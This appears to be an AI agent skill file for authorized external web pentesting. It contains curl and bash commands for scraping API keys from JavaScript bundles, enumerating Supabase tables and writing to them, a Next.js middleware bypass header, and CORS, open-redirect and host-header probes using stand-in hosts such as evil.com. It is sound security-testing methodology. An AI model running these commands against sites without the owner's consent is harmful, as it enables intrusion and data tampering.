External web security audit based on OWASP Top 10 2025, PTES, and real production pentesting experience (Frontera, Tripath). Covers Next.js, React, Vue, WordPress, Django, Rails, Laravel, and any modern web stack. Generates a professional HTML report in Spanish.
Context and why it matters
Modern websites have enormous attack surfaces: open APIs, databases with misconfigured RLS, missing security headers, and CVEs in popular frameworks. An attacker with basic knowledge and curl can exploit these vulnerabilities in minutes. This skill systematizes what a professional pentester would do, in a reproducible and documented format.
Execution flow
Phase 0: Authorization (mandatory)
Before any test, confirm with the user:
- You have the owner's authorization to audit the URL
- Restrictions (do not create accounts, do not touch production, etc.)
- Report language (default: Spanish)
If there is no explicit authorization, DO NOT proceed.
Phase 1: Reconnaissance
Run the 4 sub-phases in parallel with Bash:
1A — Security headers:
curl -sI "https://TARGET"
Headers checklist (each missing one is a finding):
| Header | Expected | Severity if missing |
|---|---|---|
| Strict-Transport-Security | max-age>=31536000; includeSubDomains | Medium |
| Content-Security-Policy | Restrictive policy, without unsafe-inline | High |
| X-Frame-Options | DENY (SAMEORIGIN = medium) | Medium |
| X-Content-Type-Options | nosniff | Low |
| Referrer-Policy | strict-origin-when-cross-origin or more restrictive | Low |
| Permissions-Policy | Block camera, microphone, geolocation | Low |
| X-Powered-By | It MUST NOT be present | High (info disclosure) |
| Server | It MUST NOT reveal the exact version | Low |
1B — Stack detection:
PAGE=$(curl -s "https://TARGET")
# Detectar frameworks
echo "$PAGE" | grep -oiE '(_next/|__next|nuxt|vue|angular|react|svelte|gatsby|remix|astro|wordpress|wp-content|wp-includes|django|laravel|rails|flask|express)' | sort -u
# Scripts externos (tracking, analytics, APIs)
echo "$PAGE" | grep -oE 'https?://[^"'\''> ]+\.js' | sort -u
# Buscar Supabase, Firebase, Stripe, etc.
echo "$PAGE" | grep -oiE '(supabase|firebase|googleapis|stripe|algolia|sentry|mixpanel|amplitude|segment|intercom|crisp|hubspot)' | sort -u
1C — DNS and infrastructure:
dig TARGET A +short
dig TARGET MX +short
dig TARGET TXT +short
dig TARGET NS +short
# Detectar CDN (Cloudflare, Vercel, etc.)
1D — robots.txt and sitemap:
curl -s "https://TARGET/robots.txt"
curl -s "https://TARGET/sitemap.xml" | head -50
Phase 2: Secret search in JavaScript
Client-side JS bundles often contain API keys, database URLs, and tokens. It is the first thing an attacker looks at.
# Descargar todos los chunks JS
CHUNKS=$(curl -s "https://TARGET" | grep -oE '(src="|href=")[^"]*\.js' | sed 's/src="//;s/href="//' | sort -u)
mkdir -p /tmp/audit_js
for chunk in $CHUNKS; do
fname=$(basename "$chunk" | head -c 50)
curl -s "https://TARGET${chunk}" > "/tmp/audit_js/${fname}" 2>&1
done
Patterns to search for in the downloaded files:
# Supabase / Firebase keys
grep -rhoiE 'eyJ[A-Za-z0-9_/+-]{30,}' /tmp/audit_js/ | sort -u
grep -rhoiE 'sb_publishable[A-Za-z0-9_-]+' /tmp/audit_js/
grep -rhoiE 'AIza[A-Za-z0-9_-]{35}' /tmp/audit_js/ # Firebase
grep -rhoiE 'sk_live_[A-Za-z0-9]{20,}' /tmp/audit_js/ # Stripe secret
grep -rhoiE 'pk_live_[A-Za-z0-9]{20,}' /tmp/audit_js/ # Stripe public
# URLs internas
grep -rhoiE 'https?://[a-z0-9.-]+\.(supabase\.co|firebaseio\.com|firebaseapp\.com)' /tmp/audit_js/ | sort -u
# Env vars
grep -rhoiE 'NEXT_PUBLIC_[A-Z_]+' /tmp/audit_js/ | sort -u
If a Supabase JWT is found, decode it to obtain the project ref:
echo "JWT_TOKEN" | cut -d. -f2 | python3 -c "import sys,base64,json; p=sys.stdin.read().strip(); p+='='*(-len(p)%4); print(json.dumps(json.loads(base64.urlsafe_b64decode(p)),indent=2))"
Phase 3: Route enumeration
Use an external script to avoid shell escaping issues:
cat > /tmp/audit_routes.sh << 'SCRIPT'
#!/bin/bash
TARGET=$1
for path in /admin /login /register /signup /api /api/auth /api/auth/callback /api/users /api/admin /api/admin/users /api/rooms /api/bookings /api/payments /api/webhooks /api/stripe /api/contact /api/newsletter /dashboard /panel /perfil /profile /account /settings /checkout /booking /reserva /mis-reservas /.env /.env.local /.env.production /.git/config /.git/HEAD /graphql /swagger /api-docs /health /status /_next/data /debug /info /wp-admin /wp-login.php /wp-json /xmlrpc.php /phpmyadmin /adminer /server-status /server-info; do
code=$(curl -s -o /dev/null -w "%{http_code}" --max-time 5 "https://${TARGET}${path}")
if [ "$code" != "404" ] && [ "$code" != "000" ]; then
echo " ${path} -> HTTP ${code}"
fi
done
SCRIPT
chmod +x /tmp/audit_routes.sh
bash /tmp/audit_routes.sh "TARGET"
Classify results:
- Routes that should require auth and return 200 = HIGH
- Accessible admin routes = CRITICAL
- .env, .git accessible = CRITICAL
- API endpoints accessible without auth = HIGH
Phase 4: Supabase Deep Audit
Only run if Supabase was detected in Phase 2. Define variables:
SUPA_URL="https://PROJECT_REF.supabase.co" # o custom domain
ANON_KEY="eyJ..." # del JS
4.1 — Table enumeration with error hints:
for tbl in users profiles public_users community_profiles rooms listings bookings reservations payments transactions properties apartments tenants landlords owners contracts messages chats notifications reviews verifications documents invoices blog_posts leads contacts waitlist settings admins; do
result=$(curl -s "${SUPA_URL}/rest/v1/${tbl}?limit=1" \
-H "apikey: ${ANON_KEY}" -H "Authorization: Bearer ${ANON_KEY}")
if echo "$result" | grep -q "PGRST"; then
hint=$(echo "$result" | grep -oE '"hint":"[^"]*"' | head -1)
[ -n "$hint" ] && echo " ${tbl}: NO EXISTE ${hint}"
elif echo "$result" | grep -q "permission denied\|row-level security"; then
echo " ${tbl}: PROTEGIDA (RLS activo) ✓"
elif echo "$result" | grep -q "restricted"; then
echo " ${tbl}: PROYECTO SUSPENDIDO/RESTRINGIDO"
elif [ "$result" = "[]" ]; then
echo " ${tbl}: ACCESIBLE (vacia)"
else
echo " ${tbl}: *** ACCESIBLE CON DATOS *** — $(echo "$result" | wc -c) bytes"
fi
done
4.2 — For each accessible table, count records:
curl -s "${SUPA_URL}/rest/v1/TABLE?select=id" \
-H "apikey: ${ANON_KEY}" -H "Authorization: Bearer ${ANON_KEY}" \
-H "Prefer: count=exact" -H "Range: 0-0" -I | grep -i content-range
4.3 — Write test (INSERT/UPDATE/DELETE):
# INSERT — usar datos dummy
curl -s -X POST "${SUPA_URL}/rest/v1/TABLE" \
-H "apikey: ${ANON_KEY}" -H "Authorization: Bearer ${ANON_KEY}" \
-H "Content-Type: application/json" -H "Prefer: return=minimal" \
-d '{"test_field":"SECURITY_AUDIT_TEST"}'
# Si funciona = CRITICO. Intentar DELETE inmediato para limpiar.
# UPDATE — cambiar campo de un registro conocido
curl -s -X PATCH "${SUPA_URL}/rest/v1/TABLE?id=eq.KNOWN_ID" \
-H "apikey: ${ANON_KEY}" -H "Authorization: Bearer ${ANON_KEY}" \
-H "Content-Type: application/json" -d '{"field":"AUDIT_TEST"}'
# Si funciona = CRITICO. REVERTIR inmediatamente.
4.4 — Public auth config:
curl -s "${SUPA_URL}/auth/v1/settings" -H "apikey: ${ANON_KEY}"
Verify:
disable_signup: false+ closed platform = HIGH (unintended open signup)mailer_autoconfirm: true= HIGH (accounts without email verification)- Unexpected OAuth providers = MEDIUM
4.5 — Open signup test:
curl -s -X POST "${SUPA_URL}/auth/v1/signup" \
-H "apikey: ${ANON_KEY}" -H "Content-Type: application/json" \
-d '{"email":"security-audit-test@nonexistent-domain.invalid","password":"AuditTest2026!"}'
If it returns a user object with UUID = HIGH (anyone can create an account)
4.6 — Storage buckets:
curl -s "${SUPA_URL}/storage/v1/bucket" -H "apikey: ${ANON_KEY}" -H "Authorization: Bearer ${ANON_KEY}"
# Para cada bucket encontrado, intentar listar archivos:
curl -s "${SUPA_URL}/storage/v1/object/list/BUCKET_NAME" \
-H "apikey: ${ANON_KEY}" -H "Authorization: Bearer ${ANON_KEY}" \
-H "Content-Type: application/json" -d '{"prefix":"","limit":20}'
4.7 — RPC functions:
for fn in get_users get_all_users admin_get_users export_users get_user_emails list_users get_members get_subscribers get_leaderboard get_user_tier; do
result=$(curl -s -X POST "${SUPA_URL}/rest/v1/rpc/${fn}" \
-H "apikey: ${ANON_KEY}" -H "Authorization: Bearer ${ANON_KEY}" \
-H "Content-Type: application/json" -d '{}')
echo " rpc/${fn}: $(echo "$result" | head -c 150)"
done
Phase 5: Next.js Specific
Only if Next.js was detected.
5.1 — Middleware Bypass CVE-2025-29927 (CRITICAL, CVSS 9.1):
# Comparar respuesta normal vs con header de bypass
NORMAL=$(curl -s -o /dev/null -w "%{http_code}" "https://TARGET/admin")
BYPASS=$(curl -s -o /dev/null -w "%{http_code}" -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" "https://TARGET/admin")
echo "Normal: $NORMAL | Bypass: $BYPASS"
# Si NORMAL=307/401 pero BYPASS=200 → CRITICO (CVE confirmada)
# Si ambos son 200 → la ruta no tiene middleware (problema diferente)
Test variants: middleware, src/middleware, pages/_middleware
5.2 — RSC Data Leakage:
RSC=$(curl -s "https://TARGET" -H "RSC: 1" -H "Next-Router-State-Tree: %5B%22%22%5D")
# Buscar datos sensibles en el payload
echo "$RSC" | grep -oiE '(email|password|secret|token|apikey|phone|dni|iban|credit|ssn)' | sort -u
# Probar en rutas protegidas tambien:
curl -s "https://TARGET/dashboard" -H "RSC: 1" -H "Next-Router-State-Tree: %5B%22%22%2C%7B%22children%22%3A%5B%22dashboard%22%2C%7B%7D%5D%7D%5D"
5.3 — Server Actions:
curl -s -X POST "https://TARGET" -H "Next-Action: 0000000000" -H "Content-Type: text/plain" -d '[]'
# "Server action not found" = endpoint existe (info disclosure menor)
5.4 — Source Maps:
for chunk in $(curl -s "https://TARGET" | grep -oE '/_next/static/chunks/[^"]+\.js' | sort -u); do
code=$(curl -s -o /dev/null -w "%{http_code}" "https://TARGET${chunk}.map")
[ "$code" = "200" ] && echo " SOURCE MAP EXPUESTO: ${chunk}.map"
done
Source map accessible = MEDIUM (exposes original source code)
Phase 6: WordPress Specific
Only if WordPress was detected.
# Version de WP
curl -s "https://TARGET" | grep -oE 'content="WordPress [0-9.]+"'
curl -s "https://TARGET/wp-json/" | head -c 200
# xmlrpc activo (bruteforce vector)
curl -s -X POST "https://TARGET/xmlrpc.php" -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>'
# Users enumeration
curl -s "https://TARGET/wp-json/wp/v2/users"
curl -s "https://TARGET/?author=1" -o /dev/null -w "%{redirect_url}"
# Login bruteforce protection
curl -s -X POST "https://TARGET/wp-login.php" -d "log=admin&pwd=wrongpass"
Phase 7: CORS
# Reflected origin (CRITICO si refleja con credentials)
curl -sI "https://TARGET" -H "Origin: https://evil-attacker.com" | grep -i "access-control"
# Null origin (exploitable via sandboxed iframe)
curl -sI "https://TARGET" -H "Origin: null" | grep -i "access-control"
# Subdomain wildcard
curl -sI "https://TARGET" -H "Origin: https://anything.TARGET" | grep -i "access-control"
# Prefix/suffix bypass
curl -sI "https://TARGET" -H "Origin: https://TARGET.evil.com" | grep -i "access-control"
If there is an API (Supabase, etc.), test CORS on those endpoints as well:
access-control-allow-origin: *on API = HIGH- Origin reflected +
Access-Control-Allow-Credentials: true= CRITICAL
Phase 8: Auth and Sessions
# Cookies
curl -sI "https://TARGET" | grep -i "set-cookie"
# Cada cookie debe tener: Secure, HttpOnly, SameSite=Strict|Lax
# Open redirect
for param in redirect url next return_to redirect_uri callback goto dest; do
loc=$(curl -s -o /dev/null -w "%{redirect_url}" "https://TARGET/login?${param}=https://evil.com")
[ -n "$loc" ] && echo "OPEN REDIRECT: ${param} -> ${loc}"
done
# Password reset host injection
curl -s -X POST "https://TARGET/api/auth/reset-password" \
-H "Host: evil.com" -H "Content-Type: application/json" \
-d '{"email":"test@nonexistent.invalid"}'
Phase 9: HTTP Methods and Error Handling
# Metodos HTTP peligrosos
for method in OPTIONS TRACE PUT DELETE PATCH; do
code=$(curl -s -o /dev/null -w "%{http_code}" -X "$method" "https://TARGET/")
echo " ${method}: HTTP ${code}"
done
# TRACE 200 = MEDIO, PUT/DELETE 200 inesperado = ALTO
# Error handling — provocar errores y buscar info leaks
curl -s "https://TARGET/api/users/undefined"
curl -s -X POST "https://TARGET/api/contact" -H "Content-Type: application/json" -d '{"invalid":'
# Stack traces, paths internos, versiones = MEDIO
Phase 10: Rate Limiting
# Test basico — 20 peticiones rapidas
for i in $(seq 1 20); do
curl -s -o /dev/null -w "%{http_code} " "https://TARGET/"
done
echo ""
# Si todos 200 = sin rate limiting = ALTO
# Bypass via X-Forwarded-For
for i in $(seq 1 10); do
curl -s -o /dev/null -w "%{http_code} " -H "X-Forwarded-For: 10.0.0.${i}" "https://TARGET/api/users"
done
Phase 11: Cloudflare/CDN Bypass
Only if Cloudflare or another CDN was detected.
# Buscar IP real via registros MX
dig MX TARGET +short
# Subdominios no proxied
for sub in mail ftp cpanel direct api staging dev test; do
ip=$(dig +short ${sub}.TARGET 2>/dev/null)
[ -n "$ip" ] && echo " ${sub}.TARGET: ${ip}"
done
# Certificate Transparency logs
curl -s "https://crt.sh/?q=%25.TARGET&output=json" | python3 -c "import sys,json; [print(x['name_value']) for x in json.load(sys.stdin)]" 2>/dev/null | sort -u
Phase 12: Sensitive files
cat > /tmp/audit_files.sh << 'SCRIPT'
#!/bin/bash
TARGET=$1
for path in .env .env.local .env.production .env.development .git/config .git/HEAD .DS_Store wp-config.php server-status server-info debug info package.json composer.json Dockerfile docker-compose.yml .dockerignore backup.sql dump.sql database.sql db.sql; do
code=$(curl -s -o /dev/null -w "%{http_code}" --max-time 5 "https://${TARGET}/${path}")
if [ "$code" != "404" ] && [ "$code" != "000" ]; then
echo " ${path}: HTTP ${code}"
fi
done
SCRIPT
bash /tmp/audit_files.sh "TARGET"
HTML report generation
After completing all phases, generate an HTML file with this format. The HTML must use pure CSS without JavaScript (WhatsApp/Telegram compatible) and a dark theme.
Report structure:
- Header — Date, target (URL), overall severity, auditor name
- Score cards — 4 cards: critical, high, medium, OK (with counters)
- Executive summary — 2-3 sentences in NON-technical language, with a red gradient background
- Analogy — Blue block explaining the findings as if the website were a building, hotel, etc. Adapt the analogy to the type of business
- Technical info — Table with stack, domain, DB, CDN, keys found
- Critical vulnerabilities — Cards with red border (#ff4444), each with: descriptive title, description in plain language, proof of concept in block
<pre>, recommended fix - High vulnerabilities — Cards with orange border (#ff8c00), same structure
- Medium vulnerabilities — Cards with yellow border (#f5a623)
- What is good — Table with green background (#00c853) for passing items
- Pentest results — Summary table: attack | result | severity (badges)
- Reproduction commands — Collapsible blocks
<details><summary> - Action plan — Timeline with colored dots: red=now, orange=today, yellow=this week, gray=before launch
- Legal implications — GDPR, LOPD, ePrivacy if applicable. Adapt to the target's country
- Footer — "CONFIDENTIAL", auditor, date
Base CSS styles:
- Background:
#0a0a0a, text:#e0e0e0 - Critical:
#ff4444, High:#ff8c00, Medium:#f5a623, OK:#00c853 - Code/pre: font
SF Mono, Fira Code, monospace, background#1a1a1a - Max-width: 900px, responsive for mobile
- Badges with border-radius 20px and colors according to severity
Save to:
- If there is a client project:
~/Desktop/Empresa/SolutechIA/clientes/[CLIENTE]/ - If not: user's current directory
- Name:
auditoria-seguridad-[dominio]-[YYYY-MM-DD].html
Severity table
| Finding | Severity |
|---|---|
| Open DB without auth (RLS disabled) | CRITICAL |
| Modification/deletion of other users' data | CRITICAL |
| Paid content publicly accessible | CRITICAL |
| Middleware bypass (CVE-2025-29927) | CRITICAL |
| Service role key exposed in JavaScript | CRITICAL |
| SQL injection confirmed | CRITICAL |
| .env or .git publicly accessible | CRITICAL |
| Unintended open signup | HIGH |
| Protected routes accessible without auth (/admin, /dashboard) | HIGH |
| No Content-Security-Policy | HIGH |
| No rate limiting | HIGH |
| CORS reflected origin + credentials | HIGH |
| x-powered-by / Server version exposed | HIGH |
| Public auth config (settings endpoint) | HIGH |
| xmlrpc.php active (WordPress) | HIGH |
| WP users enumeration via REST API | HIGH |
| CORS wildcard without credentials | MEDIUM |
| X-Frame-Options SAMEORIGIN instead of DENY | MEDIUM |
| Tracking (Facebook Pixel, etc.) without cookie consent | MEDIUM |
| Public storage buckets with listable files | MEDIUM |
| Exposed source maps (.js.map accessible) | MEDIUM |
| Error handling reveals internal info (stack traces) | MEDIUM |
| No HSTS | MEDIUM |
| Server Action endpoint discovered | MEDIUM |
| PUT/DELETE return 200 on unexpected routes | MEDIUM |
| Server header reveals exact version | LOW |
| Placeholder images from external services | LOW |
Ethical rules of the audit
These rules exist because a security audit has the power to cause real harm if done irresponsibly. Following them protects both the auditor and the site owner.
- Only minimal proof of concept — do not exploit vulnerabilities beyond confirming they exist
- Immediately revert any modification made during the audit (if an UPDATE works, restore the original value)
- Do not create real accounts — use @nonexistent-domain.invalid emails
- Do not exfiltrate or store real personal data of users
- Do not perform denial of service or aggressive load tests
- Document each step so that it is reproducible
- Notify the owner immediately if something critical is found
- The report is CONFIDENTIAL and only for the authorized owner
- Clean up temporary files at the end:
rm -rf /tmp/audit_*